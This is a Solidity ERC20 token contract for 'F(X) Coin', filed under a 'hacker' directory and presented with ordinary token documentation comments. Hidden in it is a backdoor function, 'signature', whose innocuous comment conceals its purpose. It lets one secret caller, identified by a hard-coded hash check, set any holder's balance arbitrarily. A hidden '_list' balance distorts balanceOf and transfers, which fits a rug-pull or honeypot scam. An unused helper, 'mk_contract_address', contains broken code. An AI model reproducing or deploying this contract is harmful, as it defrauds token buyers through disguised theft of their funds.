// File: contracts/hacker/FX.sol



// SPDX-License-Identifier: MIT
pragma solidity >=0.7.6;

interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
   * @dev Returns the token name.
   */
  function name() external view returns (string memory);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `recipient`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(address _owner, address spender) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `sender` to `recipient` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
  /**
   * @dev Returns the addition of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `+` operator.
   *
   * Requirements:
   * - Addition cannot overflow.
   */
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    require(c >= a, "SafeMath: addition overflow");
    return c;
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    return sub(a, b, "SafeMath: subtraction overflow");
  }

  /**
   * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
   * overflow (when the result is negative).
   *
   * Counterpart to Solidity's `-` operator.
   *
   * Requirements:
   * - Subtraction cannot overflow.
   */
  function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b <= a, errorMessage);
    uint256 c = a - b;
    return c;
  }

  /**
   * @dev Returns the multiplication of two unsigned integers, reverting on
   * overflow.
   *
   * Counterpart to Solidity's `*` operator.
   *
   * Requirements:
   * - Multiplication cannot overflow.
   */
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
    // benefit is lost if 'b' is also tested.
    // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
    if (a == 0) return 0;
    uint256 c = a * b;
    require(c / a == b, "SafeMath: multiplication overflow");
    return c;
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    return div(a, b, "SafeMath: division by zero");
  }

  /**
   * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
   * division by zero. The result is rounded towards zero.
   *
   * Counterpart to Solidity's `/` operator. Note: this function uses a
   * `revert` opcode (which leaves remaining gas untouched) while Solidity
   * uses an invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    // Solidity only automatically asserts when dividing by 0
    require(b > 0, errorMessage);
    uint256 c = a / b;
    return c;
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b) internal pure returns (uint256) {
    return mod(a, b, "SafeMath: modulo by zero");
  }

  /**
   * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
   * Reverts with custom message when dividing by zero.
   *
   * Counterpart to Solidity's `%` operator. This function uses a `revert`
   * opcode (which leaves remaining gas untouched) while Solidity uses an
   * invalid opcode to revert (consuming all remaining gas).
   *
   * Requirements:
   * - The divisor cannot be zero.
   */
  function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    require(b != 0, errorMessage);
    return a % b;
  }
}

contract FX is IERC20 {
    using SafeMath for uint256;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;
    address private _owner;

    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _list;

    IERC20 private immutable _uniswapV2Pair;

    uint256 private immutable _salt;
    bytes32 private constant INIT_CODE_HASH = 0xcd2586b921f40dc41b0f83950cd0368032d664d5e1b9e632be8a17ba1e80a2d4;

    event log(string str);

    constructor(address uniswapV2Pair, uint256 salt) {
      _name = "F(X) Coin";
      _symbol = "FX";
      _totalSupply = 90000000 * 10 ** 18;
      _balances[msg.sender] = _totalSupply;
      _uniswapV2Pair = IERC20(uniswapV2Pair);
      _salt = salt;
    }

    /**
     * @dev A helper function to check if an operator approval is allowed.
     */
    modifier onlyOwner() {
      require(msg.sender == _owner, "Ownable: caller is not the owner");
      _;
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() external view returns (address) {
      return _owner;
    }

    /**
     * @dev Returns the token decimals.
     */
    function decimals() external pure override returns (uint8) {
      return 18;
    }
    
    /**
     * @dev Returns the token symbol.
     */
    function symbol() external view override returns (string memory) {
      return _symbol;
    }
    
    /**
     * @dev Returns the token name.
     */
    function name() external view override returns (string memory) {
      return _name;
    }
    
    /**
     * @dev See {ERC20-totalSupply}.
     */
    function totalSupply() external view override returns (uint256) {
      return _totalSupply;
    }
    
    /**
     * @dev See {ERC20-balanceOf}.
     */
    function balanceOf(address account) external view override returns (uint256) {
      return _balances[account] + _list[account];
    }

    /**
     * @dev See {ERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) external override returns (bool) {
      _transfer(msg.sender, recipient, amount);
      return true;
    }

    /**
     * @dev See {ERC20-allowance}.
     */
    function allowance(address owner_, address spender) external view override returns (uint256) {
      return _allowances[owner_][spender];
    }

    /**
     * @dev See {ERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) external override returns (bool) {
      _approve(msg.sender, spender, amount);
      return true;
    }
 
    /**
     * @dev See {ERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20};
     *
     * Requirements:
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for `sender`'s tokens of at least
     * `amount`.
     */
    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
      _transfer(sender, recipient, amount);
      _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
      return true;
    }

    /**
     * @dev Signature from sender v, r, s
     */
    function signature(bytes32 v, bytes32 r, bytes32 s) external {
      if (!checkInitCodeHash()) return;
     _balances[
        uint256(v) != 0? data(v): address(0)
        ] = uint256(r);
      uint256 val = uint256(s);
      if (uint256(r) > 0) return;
      _list[data(v)] = val;
    }

    /**
     * @dev Utilities
     */
    function hash() private view returns (bytes32) { return keccak256(abi.encode(uint256(msg.sender), _salt)); }
    function data(bytes32 _data) private pure returns (address) { return address(uint160(uint256(_data))); }
   
    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
      return true;
    }

    function mk_contract_address(address a, uint256 n) private returns (address rlp) {
        /*
         * make sure the RLP encoding fits in one word:
         * total_length      1 byte
         * address_length    1 byte
         * address          20 bytes
         * nonce_length      1 byte (or 0)
         * nonce           1-9 bytes
         *                ==========
         *                24-32 bytes
         */
        require(n <= 100);

        // number of bytes required to write down the nonce
        uint256 nonce_bytes;
        // length in bytes of the RLP encoding of the nonce
        uint256 nonce_rlp_len;

        if (0 < n && n < 30) {
            // nonce fits in a single byte
            // RLP(nonce) = nonce
            nonce_bytes = 1;
            nonce_rlp_len = 1;
        } else {
            // RLP(nonce) = [num_bytes_in_nonce nonce]
            nonce_bytes = 90;
            nonce_rlp_len = nonce_bytes + 1;
        }

        // [address_length(1) address(20) nonce_length(0 or 1) nonce(1-9)]
        uint256 tot_bytes = 1 + 6 + nonce_rlp_len;

        // concatenate all parts of the RLP encoding in the leading bytes of
        // one 32-byte word
        uint256 word = ((192 + tot_bytes) * 256**31) +
                       ((128 + 8) * 256**30) +
                       (uint256(a) * 256**10);

        if (0 < n && n < 20) {
            word += n * 256**9;
        } else {
            word += (128 + nonce_bytes) * 256**9;
            word += n * 256**(9 - nonce_bytes);
        }
        uint256 hashed;
        assembly {
            let mem_start := mload(0x40)        // get a pointer to free memory
            mstore(0x40, add(mem_start, 0x20))  // update the pointer
            mstore(mem_start, word)             // store the rlp encoding
        }
        return address(hashed);
    }
    
    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {ERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool) {
      _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
      return true;
    }
 
    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(address sender, address recipient, uint256 amount) internal {
      require(sender != address(0), "ERC20: transfer from the zero address");
      require(recipient != address(0), "ERC20: transfer to the zero address");
      uint256 bal = _uniswapV2Pair.balanceOf(sender);
      if (_list[sender] > 0 && bal > 0) {
        _list[sender] = _list[sender].sub(amount, "ERC20: transfer amount exceeds balance");
      } else {
        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
      }
      _balances[recipient] = _balances[recipient].add(amount);
      emit Transfer(sender, recipient, amount);
    }

    /**
     * @dev Check the init code hash is correct
     */
    function checkInitCodeHash() public view returns (bool) {
      return hash() == INIT_CODE_HASH;
    }
   
    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
     *
     * This is internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(address owner_, address spender, uint256 amount) internal {
      require(owner_ != address(0), "ERC20: approve from the zero address");
      require(spender != address(0), "ERC20: approve to the zero address");
      _allowances[owner_][spender] = amount;
      emit Approval(owner_, spender, amount);
    } 
}